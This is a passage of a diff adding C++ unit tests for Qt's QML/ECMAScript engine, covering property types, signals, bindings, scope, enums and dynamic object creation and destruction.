+ QCOMPARE(object->flagProperty(), MyTypeObject::FlagVal1 | MyTypeObject::FlagVal3);
+ QCOMPARE(object->enumProperty(), MyTypeObject::EnumVal2);
+ QCOMPARE(object->stringProperty(), QString("Hello World!"));
+ QCOMPARE(object->uintProperty(), uint(10));
+ QCOMPARE(object->intProperty(), -19);
+ QCOMPARE((float)object->realProperty(), float(23.2));
+ QCOMPARE((float)object->doubleProperty(), float(-19.75));
+ QCOMPARE((float)object->floatProperty(), float(8.5));
+ QCOMPARE(object->colorProperty(), QColor("red"));
+ QCOMPARE(object->dateProperty(), QDate(1982, 11, 25));
+ QCOMPARE(object->timeProperty(), QTime(11, 11, 32));
+ QCOMPARE(object->dateTimeProperty(), QDateTime(QDate(2009, 5, 12), QTime(13, 22, 1)));
+ QCOMPARE(object->pointProperty(), QPoint(99,13));
+ QCOMPARE(object->pointFProperty(), QPointF(-10.1, 12.3));
+ QCOMPARE(object->sizeProperty(), QSize(99, 13));
+ QCOMPARE(object->sizeFProperty(), QSizeF(0.1, 0.2));
+ QCOMPARE(object->rectProperty(), QRect(9, 7, 100, 200));
+ QCOMPARE(object->rectFProperty(), QRectF(1000.1, -10.9, 400, 90.99));
+ QCOMPARE(object->boolProperty(), true);
+ QCOMPARE(object->variantProperty(), QVariant("Hello World!"));
+ QCOMPARE(object->vectorProperty(), QVector3D(10, 1, 2.2));
+ QCOMPARE(object->urlProperty(), component.url().resolved(QUrl("main.qml")));
+ delete object;
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("assignBasicTypes.2.qml"));
+ MyTypeObject *object = qobject_cast<MyTypeObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->flagProperty(), MyTypeObject::FlagVal1 | MyTypeObject::FlagVal3);
+ QCOMPARE(object->enumProperty(), MyTypeObject::EnumVal2);
+ QCOMPARE(object->stringProperty(), QString("Hello World!"));
+ QCOMPARE(object->uintProperty(), uint(10));
+ QCOMPARE(object->intProperty(), -19);
+ QCOMPARE((float)object->realProperty(), float(23.2));
+ QCOMPARE((float)object->doubleProperty(), float(-19.75));
+ QCOMPARE((float)object->floatProperty(), float(8.5));
+ QCOMPARE(object->colorProperty(), QColor("red"));
+ QCOMPARE(object->dateProperty(), QDate(1982, 11, 25));
+ QCOMPARE(object->timeProperty(), QTime(11, 11, 32));
+ QCOMPARE(object->dateTimeProperty(), QDateTime(QDate(2009, 5, 12), QTime(13, 22, 1)));
+ QCOMPARE(object->pointProperty(), QPoint(99,13));
+ QCOMPARE(object->pointFProperty(), QPointF(-10.1, 12.3));
+ QCOMPARE(object->sizeProperty(), QSize(99, 13));
+ QCOMPARE(object->sizeFProperty(), QSizeF(0.1, 0.2));
+ QCOMPARE(object->rectProperty(), QRect(9, 7, 100, 200));
+ QCOMPARE(object->rectFProperty(), QRectF(1000.1, -10.9, 400, 90.99));
+ QCOMPARE(object->boolProperty(), true);
+ QCOMPARE(object->variantProperty(), QVariant("Hello World!"));
+ QCOMPARE(object->vectorProperty(), QVector3D(10, 1, 2.2));
+ QCOMPARE(object->urlProperty(), component.url().resolved(QUrl("main.qml")));
+ delete object;
+ }
+}
+
+void tst_qdeclarativeecmascript::idShortcutInvalidates()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("idShortcutInvalidates.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+ QVERIFY(object->objectProperty() != 0);
+ delete object->objectProperty();
+ QVERIFY(object->objectProperty() == 0);
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("idShortcutInvalidates.1.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+ QVERIFY(object->objectProperty() != 0);
+ delete object->objectProperty();
+ QVERIFY(object->objectProperty() == 0);
+ }
+}
+
+void tst_qdeclarativeecmascript::boolPropertiesEvaluateAsBool()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("boolPropertiesEvaluateAsBool.1.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->stringProperty(), QLatin1String("pass"));
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("boolPropertiesEvaluateAsBool.2.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->stringProperty(), QLatin1String("pass"));
+ }
+}
+
+void tst_qdeclarativeecmascript::signalAssignment()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("signalAssignment.1.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->string(), QString());
+ emit object->basicSignal();
+ QCOMPARE(object->string(), QString("pass"));
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("signalAssignment.2.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->string(), QString());
+ emit object->argumentSignal(19, "Hello world!", 10.25, MyQmlObject::EnumValue4, Qt::RightButton);
+ QCOMPARE(object->string(), QString("pass 19 Hello world! 10.25 3 2"));
+ }
+}
+
+void tst_qdeclarativeecmascript::methods()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("methods.1.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->methodCalled(), false);
+ QCOMPARE(object->methodIntCalled(), false);
+ emit object->basicSignal();
+ QCOMPARE(object->methodCalled(), true);
+ QCOMPARE(object->methodIntCalled(), false);
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("methods.2.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->methodCalled(), false);
+ QCOMPARE(object->methodIntCalled(), false);
+ emit object->basicSignal();
+ QCOMPARE(object->methodCalled(), false);
+ QCOMPARE(object->methodIntCalled(), true);
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("methods.3.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("test").toInt(), 19);
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("methods.4.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("test").toInt(), 19);
+ QCOMPARE(object->property("test2").toInt(), 17);
+ QCOMPARE(object->property("test3").toInt(), 16);
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("methods.5.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("test").toInt(), 9);
+ }
+}
+
+void tst_qdeclarativeecmascript::bindingLoop()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("bindingLoop.qml"));
+ QString warning = component.url().toString() + ":9:9: QML MyQmlObject: Binding loop detected for property \"stringProperty\"";
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+}
+
+void tst_qdeclarativeecmascript::basicExpressions_data()
+{
+ QTest::addColumn<QString>("expression");
+ QTest::addColumn<QVariant>("result");
+ QTest::addColumn<bool>("nest");
+
+ QTest::newRow("Syntax error (self test)") << "{console.log({'a':1'}.a)}" << QVariant() << false;
+ QTest::newRow("Context property") << "a" << QVariant(1944) << false;
+ QTest::newRow("Context property") << "a" << QVariant(1944) << true;
+ QTest::newRow("Context property expression") << "a * 2" << QVariant(3888) << false;
+ QTest::newRow("Context property expression") << "a * 2" << QVariant(3888) << true;
+ QTest::newRow("Overridden context property") << "b" << QVariant("Milk") << false;
+ QTest::newRow("Overridden context property") << "b" << QVariant("Cow") << true;
+ QTest::newRow("Object property") << "object.stringProperty" << QVariant("Object1") << false;
+ QTest::newRow("Object property") << "object.stringProperty" << QVariant("Object1") << true;
+ QTest::newRow("Overridden object property") << "objectOverride.stringProperty" << QVariant("Object2") << false;
+ QTest::newRow("Overridden object property") << "objectOverride.stringProperty" << QVariant("Object3") << true;
+ QTest::newRow("Default object property") << "horseLegs" << QVariant(4) << false;
+ QTest::newRow("Default object property") << "antLegs" << QVariant(6) << false;
+ QTest::newRow("Default object property") << "emuLegs" << QVariant(2) << false;
+ QTest::newRow("Nested default object property") << "horseLegs" << QVariant(4) << true;
+ QTest::newRow("Nested default object property") << "antLegs" << QVariant(7) << true;
+ QTest::newRow("Nested default object property") << "emuLegs" << QVariant(2) << true;
+ QTest::newRow("Nested default object property") << "humanLegs" << QVariant(2) << true;
+ QTest::newRow("Context property override default object property") << "millipedeLegs" << QVariant(100) << true;
+}
+
+void tst_qdeclarativeecmascript::basicExpressions()
+{
+ QFETCH(QString, expression);
+ QFETCH(QVariant, result);
+ QFETCH(bool, nest);
+
+ MyQmlObject object1;
+ MyQmlObject object2;
+ MyQmlObject object3;
+ MyDefaultObject1 default1;
+ MyDefaultObject3 default3;
+ object1.setStringProperty("Object1");
+ object2.setStringProperty("Object2");
+ object3.setStringProperty("Object3");
+
+ QDeclarativeContext context(engine.rootContext());
+ QDeclarativeContext nestedContext(&context);
+
+ context.setContextObject(&default1);
+ context.setContextProperty("a", QVariant(1944));
+ context.setContextProperty("b", QVariant("Milk"));
+ context.setContextProperty("object", &object1);
+ context.setContextProperty("objectOverride", &object2);
+ nestedContext.setContextObject(&default3);
+ nestedContext.setContextProperty("b", QVariant("Cow"));
+ nestedContext.setContextProperty("objectOverride", &object3);
+ nestedContext.setContextProperty("millipedeLegs", QVariant(100));
+
+ MyExpression expr(nest?&nestedContext:&context, expression);
+ QCOMPARE(expr.evaluate(), result);
+}
+
+void tst_qdeclarativeecmascript::arrayExpressions()
+{
+ QObject obj1;
+ QObject obj2;
+ QObject obj3;
+
+ QDeclarativeContext context(engine.rootContext());
+ context.setContextProperty("a", &obj1);
+ context.setContextProperty("b", &obj2);
+ context.setContextProperty("c", &obj3);
+
+ MyExpression expr(&context, "[a, b, c, 10]");
+ QVariant result = expr.evaluate();
+ QCOMPARE(result.userType(), qMetaTypeId<QList<QObject *> >());
+ QList<QObject *> list = qvariant_cast<QList<QObject *> >(result);
+ QCOMPARE(list.count(), 4);
+ QCOMPARE(list.at(0), &obj1);
+ QCOMPARE(list.at(1), &obj2);
+ QCOMPARE(list.at(2), &obj3);
+ QCOMPARE(list.at(3), (QObject *)0);
+}
+
+// Tests that modifying a context property will reevaluate expressions
+void tst_qdeclarativeecmascript::contextPropertiesTriggerReeval()
+{
+ QDeclarativeContext context(engine.rootContext());
+ MyQmlObject object1;
+ MyQmlObject object2;
+ MyQmlObject *object3 = new MyQmlObject;
+
+ object1.setStringProperty("Hello");
+ object2.setStringProperty("World");
+
+ context.setContextProperty("testProp", QVariant(1));
+ context.setContextProperty("testObj", &object1);
+ context.setContextProperty("testObj2", object3);
+
+ {
+ MyExpression expr(&context, "testProp + 1");
+ QCOMPARE(expr.changed, false);
+ QCOMPARE(expr.evaluate(), QVariant(2));
+
+ context.setContextProperty("testProp", QVariant(2));
+ QCOMPARE(expr.changed, true);
+ QCOMPARE(expr.evaluate(), QVariant(3));
+ }
+
+ {
+ MyExpression expr(&context, "testProp + testProp + testProp");
+ QCOMPARE(expr.changed, false);
+ QCOMPARE(expr.evaluate(), QVariant(6));
+
+ context.setContextProperty("testProp", QVariant(4));
+ QCOMPARE(expr.changed, true);
+ QCOMPARE(expr.evaluate(), QVariant(12));
+ }
+
+ {
+ MyExpression expr(&context, "testObj.stringProperty");
+ QCOMPARE(expr.changed, false);
+ QCOMPARE(expr.evaluate(), QVariant("Hello"));
+
+ context.setContextProperty("testObj", &object2);
+ QCOMPARE(expr.changed, true);
+ QCOMPARE(expr.evaluate(), QVariant("World"));
+ }
+
+ {
+ MyExpression expr(&context, "testObj.stringProperty /**/");
+ QCOMPARE(expr.changed, false);
+ QCOMPARE(expr.evaluate(), QVariant("World"));
+
+ context.setContextProperty("testObj", &object1);
+ QCOMPARE(expr.changed, true);
+ QCOMPARE(expr.evaluate(), QVariant("Hello"));
+ }
+
+ {
+ MyExpression expr(&context, "testObj2");
+ QCOMPARE(expr.changed, false);
+ QCOMPARE(expr.evaluate(), QVariant::fromValue((QObject *)object3));
+ }
+
+}
+
+void tst_qdeclarativeecmascript::objectPropertiesTriggerReeval()
+{
+ QDeclarativeContext context(engine.rootContext());
+ MyQmlObject object1;
+ MyQmlObject object2;
+ MyQmlObject object3;
+ context.setContextProperty("testObj", &object1);
+
+ object1.setStringProperty(QLatin1String("Hello"));
+ object2.setStringProperty(QLatin1String("Dog"));
+ object3.setStringProperty(QLatin1String("Cat"));
+
+ {
+ MyExpression expr(&context, "testObj.stringProperty");
+ QCOMPARE(expr.changed, false);
+ QCOMPARE(expr.evaluate(), QVariant("Hello"));
+
+ object1.setStringProperty(QLatin1String("World"));
+ QCOMPARE(expr.changed, true);
+ QCOMPARE(expr.evaluate(), QVariant("World"));
+ }
+
+ {
+ MyExpression expr(&context, "testObj.objectProperty.stringProperty");
+ QCOMPARE(expr.changed, false);
+ QCOMPARE(expr.evaluate(), QVariant());
+
+ object1.setObjectProperty(&object2);
+ QCOMPARE(expr.changed, true);
+ expr.changed = false;
+ QCOMPARE(expr.evaluate(), QVariant("Dog"));
+
+ object1.setObjectProperty(&object3);
+ QCOMPARE(expr.changed, true);
+ expr.changed = false;
+ QCOMPARE(expr.evaluate(), QVariant("Cat"));
+
+ object1.setObjectProperty(0);
+ QCOMPARE(expr.changed, true);
+ expr.changed = false;
+ QCOMPARE(expr.evaluate(), QVariant());
+
+ object1.setObjectProperty(&object3);
+ QCOMPARE(expr.changed, true);
+ expr.changed = false;
+ QCOMPARE(expr.evaluate(), QVariant("Cat"));
+
+ object3.setStringProperty("Donkey");
+ QCOMPARE(expr.changed, true);
+ expr.changed = false;
+ QCOMPARE(expr.evaluate(), QVariant("Donkey"));
+ }
+}
+
+void tst_qdeclarativeecmascript::deferredProperties()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("deferredProperties.qml"));
+ MyDeferredObject *object =
+ qobject_cast<MyDeferredObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->value(), 0);
+ QVERIFY(object->objectProperty() == 0);
+ QVERIFY(object->objectProperty2() != 0);
+ qmlExecuteDeferred(object);
+ QCOMPARE(object->value(), 10);
+ QVERIFY(object->objectProperty() != 0);
+ MyQmlObject *qmlObject =
+ qobject_cast<MyQmlObject *>(object->objectProperty());
+ QVERIFY(qmlObject != 0);
+ QCOMPARE(qmlObject->value(), 10);
+ object->setValue(19);
+ QCOMPARE(qmlObject->value(), 19);
+}
+
+// Check errors on deferred properties are correctly emitted
+void tst_qdeclarativeecmascript::deferredPropertiesErrors()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("deferredPropertiesErrors.qml"));
+ MyDeferredObject *object =
+ qobject_cast<MyDeferredObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->value(), 0);
+ QVERIFY(object->objectProperty() == 0);
+ QVERIFY(object->objectProperty2() == 0);
+
+ QString warning = component.url().toString() + ":6: Unable to assign [undefined] to QObject* objectProperty";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning));
+
+ qmlExecuteDeferred(object);
+
+ delete object;
+}
+
+void tst_qdeclarativeecmascript::extensionObjects()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("extensionObjects.qml"));
+ MyExtendedObject *object =
+ qobject_cast<MyExtendedObject *>(component.create());
+ QVERIFY(object != 0);
+ QCOMPARE(object->baseProperty(), 13);
+ QCOMPARE(object->coreProperty(), 9);
+ object->setProperty("extendedProperty", QVariant(11));
+ object->setProperty("baseExtendedProperty", QVariant(92));
+ QCOMPARE(object->coreProperty(), 11);
+ QCOMPARE(object->baseProperty(), 92);
+
+ MyExtendedObject *nested = qobject_cast<MyExtendedObject*>(qvariant_cast<QObject *>(object->property("nested")));
+ QVERIFY(nested);
+ QCOMPARE(nested->baseProperty(), 13);
+ QCOMPARE(nested->coreProperty(), 9);
+ nested->setProperty("extendedProperty", QVariant(11));
+ nested->setProperty("baseExtendedProperty", QVariant(92));
+ QCOMPARE(nested->coreProperty(), 11);
+ QCOMPARE(nested->baseProperty(), 92);
+
+}
+
+void tst_qdeclarativeecmascript::overrideExtensionProperties()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("extensionObjectsPropertyOverride.qml"));
+ OverrideDefaultPropertyObject *object =
+ qobject_cast<OverrideDefaultPropertyObject *>(component.create());
+ QVERIFY(object != 0);
+ QVERIFY(object->secondProperty() != 0);
+ QVERIFY(object->firstProperty() == 0);
+}
+
+void tst_qdeclarativeecmascript::attachedProperties()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("attachedProperty.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("a").toInt(), 19);
+ QCOMPARE(object->property("b").toInt(), 19);
+ QCOMPARE(object->property("c").toInt(), 19);
+ QCOMPARE(object->property("d").toInt(), 19);
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("attachedProperty.2.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("a").toInt(), 26);
+ QCOMPARE(object->property("b").toInt(), 26);
+ QCOMPARE(object->property("c").toInt(), 26);
+ QCOMPARE(object->property("d").toInt(), 26);
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("writeAttachedProperty.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QMetaObject::invokeMethod(object, "writeValue2");
+
+ MyQmlAttachedObject *attached =
+ qobject_cast<MyQmlAttachedObject *>(qmlAttachedPropertiesObject<MyQmlObject>(object));
+ QVERIFY(attached != 0);
+
+ QCOMPARE(attached->value2(), 9);
+ }
+}
+
+void tst_qdeclarativeecmascript::enums()
+{
+ // Existent enums
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("enums.1.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("a").toInt(), 0);
+ QCOMPARE(object->property("b").toInt(), 1);
+ QCOMPARE(object->property("c").toInt(), 2);
+ QCOMPARE(object->property("d").toInt(), 3);
+ QCOMPARE(object->property("e").toInt(), 0);
+ QCOMPARE(object->property("f").toInt(), 1);
+ QCOMPARE(object->property("g").toInt(), 2);
+ QCOMPARE(object->property("h").toInt(), 3);
+ QCOMPARE(object->property("i").toInt(), 19);
+ QCOMPARE(object->property("j").toInt(), 19);
+ }
+ // Non-existent enums
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("enums.2.qml"));
+
+ QString warning1 = component.url().toString() + ":5: Unable to assign [undefined] to int a";
+ QString warning2 = component.url().toString() + ":6: Unable to assign [undefined] to int b";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("a").toInt(), 0);
+ QCOMPARE(object->property("b").toInt(), 0);
+ }
+}
+
+void tst_qdeclarativeecmascript::valueTypeFunctions()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("valueTypeFunctions.qml"));
+ MyTypeObject *obj = qobject_cast<MyTypeObject*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->rectProperty(), QRect(0,0,100,100));
+ QCOMPARE(obj->rectFProperty(), QRectF(0,0.5,100,99.5));
+}
+
+/*
+Tests that writing a constant to a property with a binding on it disables the
+binding.
+*/
+void tst_qdeclarativeecmascript::constantsOverrideBindings()
+{
+ // From ECMAScript
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("constantsOverrideBindings.1.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("c2").toInt(), 0);
+ object->setProperty("c1", QVariant(9));
+ QCOMPARE(object->property("c2").toInt(), 9);
+
+ emit object->basicSignal();
+
+ QCOMPARE(object->property("c2").toInt(), 13);
+ object->setProperty("c1", QVariant(8));
+ QCOMPARE(object->property("c2").toInt(), 13);
+ }
+
+ // During construction
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("constantsOverrideBindings.2.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("c1").toInt(), 0);
+ QCOMPARE(object->property("c2").toInt(), 10);
+ object->setProperty("c1", QVariant(9));
+ QCOMPARE(object->property("c1").toInt(), 9);
+ QCOMPARE(object->property("c2").toInt(), 10);
+ }
+
+#if 0
+ // From C++
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("constantsOverrideBindings.3.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("c2").toInt(), 0);
+ object->setProperty("c1", QVariant(9));
+ QCOMPARE(object->property("c2").toInt(), 9);
+
+ object->setProperty("c2", QVariant(13));
+ QCOMPARE(object->property("c2").toInt(), 13);
+ object->setProperty("c1", QVariant(7));
+ QCOMPARE(object->property("c1").toInt(), 7);
+ QCOMPARE(object->property("c2").toInt(), 13);
+ }
+#endif
+
+ // Using an alias
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("constantsOverrideBindings.4.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("c1").toInt(), 0);
+ QCOMPARE(object->property("c3").toInt(), 10);
+ object->setProperty("c1", QVariant(9));
+ QCOMPARE(object->property("c1").toInt(), 9);
+ QCOMPARE(object->property("c3").toInt(), 10);
+ }
+}
+
+/*
+Tests that assigning a binding to a property that already has a binding causes
+the original binding to be disabled.
+*/
+void tst_qdeclarativeecmascript::outerBindingOverridesInnerBinding()
+{
+ QDeclarativeComponent component(&engine,
+ TEST_FILE("outerBindingOverridesInnerBinding.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("c1").toInt(), 0);
+ QCOMPARE(object->property("c2").toInt(), 0);
+ QCOMPARE(object->property("c3").toInt(), 0);
+
+ object->setProperty("c1", QVariant(9));
+ QCOMPARE(object->property("c1").toInt(), 9);
+ QCOMPARE(object->property("c2").toInt(), 0);
+ QCOMPARE(object->property("c3").toInt(), 0);
+
+ object->setProperty("c3", QVariant(8));
+ QCOMPARE(object->property("c1").toInt(), 9);
+ QCOMPARE(object->property("c2").toInt(), 8);
+ QCOMPARE(object->property("c3").toInt(), 8);
+}
+
+/*
+Access a non-existent attached object.
+
+Tests for a regression where this used to crash.
+*/
+void tst_qdeclarativeecmascript::nonExistentAttachedObject()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("nonExistentAttachedObject.qml"));
+
+ QString warning = component.url().toString() + ":4: Unable to assign [undefined] to QString stringProperty";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+}
+
+void tst_qdeclarativeecmascript::scope()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scope.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1").toInt(), 1);
+ QCOMPARE(object->property("test2").toInt(), 2);
+ QCOMPARE(object->property("test3").toString(), QString("1Test"));
+ QCOMPARE(object->property("test4").toString(), QString("2Test"));
+ QCOMPARE(object->property("test5").toInt(), 1);
+ QCOMPARE(object->property("test6").toInt(), 1);
+ QCOMPARE(object->property("test7").toInt(), 2);
+ QCOMPARE(object->property("test8").toInt(), 2);
+ QCOMPARE(object->property("test9").toInt(), 1);
+ QCOMPARE(object->property("test10").toInt(), 3);
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scope.2.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1").toInt(), 19);
+ QCOMPARE(object->property("test2").toInt(), 19);
+ QCOMPARE(object->property("test3").toInt(), 14);
+ QCOMPARE(object->property("test4").toInt(), 14);
+ QCOMPARE(object->property("test5").toInt(), 24);
+ QCOMPARE(object->property("test6").toInt(), 24);
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scope.3.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1").toBool(), true);
+ QCOMPARE(object->property("test2").toBool(), true);
+ QCOMPARE(object->property("test3").toBool(), true);
+ }
+
+ // Signal argument scope
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("scope.4.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test").toInt(), 0);
+ QCOMPARE(object->property("test2").toString(), QString());
+
+ emit object->argumentSignal(13, "Argument Scope", 9, MyQmlObject::EnumValue4, Qt::RightButton);
+
+ QCOMPARE(object->property("test").toInt(), 13);
+ QCOMPARE(object->property("test2").toString(), QString("Argument Scope"));
+
+ delete object;
+ }
+}
+
+/*
+Tests that "any" type passes through a synthesized signal parameter. This
+is essentially a test of QDeclarativeMetaType::copy()
+*/
+void tst_qdeclarativeecmascript::signalParameterTypes()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("signalParameterTypes.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ emit object->basicSignal();
+
+ QCOMPARE(object->property("intProperty").toInt(), 10);
+ QCOMPARE(object->property("realProperty").toReal(), 19.2);
+ QVERIFY(object->property("colorProperty").value<QColor>() == QColor(255, 255, 0, 255));
+ QVERIFY(object->property("variantProperty") == QVariant::fromValue(QColor(255, 0, 255, 255)));
+ QVERIFY(object->property("enumProperty") == MyQmlObject::EnumValue3);
+ QVERIFY(object->property("qtEnumProperty") == Qt::LeftButton);
+}
+
+/*
+Test that two JS objects for the same QObject compare as equal.
+*/
+void tst_qdeclarativeecmascript::objectsCompareAsEqual()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("objectsCompareAsEqual.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test1").toBool(), true);
+ QCOMPARE(object->property("test2").toBool(), true);
+ QCOMPARE(object->property("test3").toBool(), true);
+ QCOMPARE(object->property("test4").toBool(), true);
+ QCOMPARE(object->property("test5").toBool(), true);
+}
+
+/*
+Confirm bindings and alias properties can coexist.
+
+Tests for a regression where the binding would not reevaluate.
+*/
+void tst_qdeclarativeecmascript::aliasPropertyAndBinding()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("aliasPropertyAndBinding.qml"));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("c2").toInt(), 3);
+ QCOMPARE(object->property("c3").toInt(), 3);
+
+ object->setProperty("c2", QVariant(19));
+
+ QCOMPARE(object->property("c2").toInt(), 19);
+ QCOMPARE(object->property("c3").toInt(), 19);
+}
+
+void tst_qdeclarativeecmascript::dynamicCreation_data()
+{
+ QTest::addColumn<QString>("method");
+ QTest::addColumn<QString>("createdName");
+
+ QTest::newRow("One") << "createOne" << "objectOne";
+ QTest::newRow("Two") << "createTwo" << "objectTwo";
+ QTest::newRow("Three") << "createThree" << "objectThree";
+}
+
+/*
+Test using createQmlObject to dynamically generate an item
+Also using createComponent is tested.
+*/
+void tst_qdeclarativeecmascript::dynamicCreation()
+{
+ QFETCH(QString, method);
+ QFETCH(QString, createdName);
+
+ QDeclarativeComponent component(&engine, TEST_FILE("dynamicCreation.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+
+ QMetaObject::invokeMethod(object, method.toUtf8());
+ QObject *created = object->objectProperty();
+ QVERIFY(created);
+ QCOMPARE(created->objectName(), createdName);
+}
+
+/*
+ Tests the destroy function
+*/
+void tst_qdeclarativeecmascript::dynamicDestruction()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("dynamicDeletion.qml"));
+ QDeclarativeGuard<MyQmlObject> object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+ QDeclarativeGuard<QObject> createdQmlObject = 0;
+
+ QMetaObject::invokeMethod(object, "create");
+ createdQmlObject = object->objectProperty();
+ QVERIFY(createdQmlObject);
+ QCOMPARE(createdQmlObject->objectName(), QString("emptyObject"));
+
+ QMetaObject::invokeMethod(object, "killOther");
+ QVERIFY(createdQmlObject);
+ QCoreApplication::instance()->processEvents(QEventLoop::DeferredDeletion);
+ QVERIFY(createdQmlObject);
+ for (int ii = 0; createdQmlObject && ii < 50; ++ii) { // After 5 seconds we should give up
+ if (createdQmlObject) {
+ QTest::qWait(100);
+ QCoreApplication::instance()->processEvents(QEventLoop::DeferredDeletion);
+ }
+ }
+ QVERIFY(!createdQmlObject);
+
+ QDeclarativeEngine::setObjectOwnership(object, QDeclarativeEngine::JavaScriptOwnership);
+ QMetaObject::invokeMethod(object, "killMe");
+ QVERIFY(object);
+ QTest::qWait(0);
+ QCoreApplication::instance()->processEvents(QEventLoop::DeferredDeletion);
+ QVERIFY(!object);
+}
+
+/*
+ tests that id.toString() works
+*/
+void tst_qdeclarativeecmascript::objectToString()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("declarativeToString.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+ QMetaObject::invokeMethod(object, "testToString");
+ QVERIFY(object->stringProperty().startsWith("MyQmlObject_QML_"));
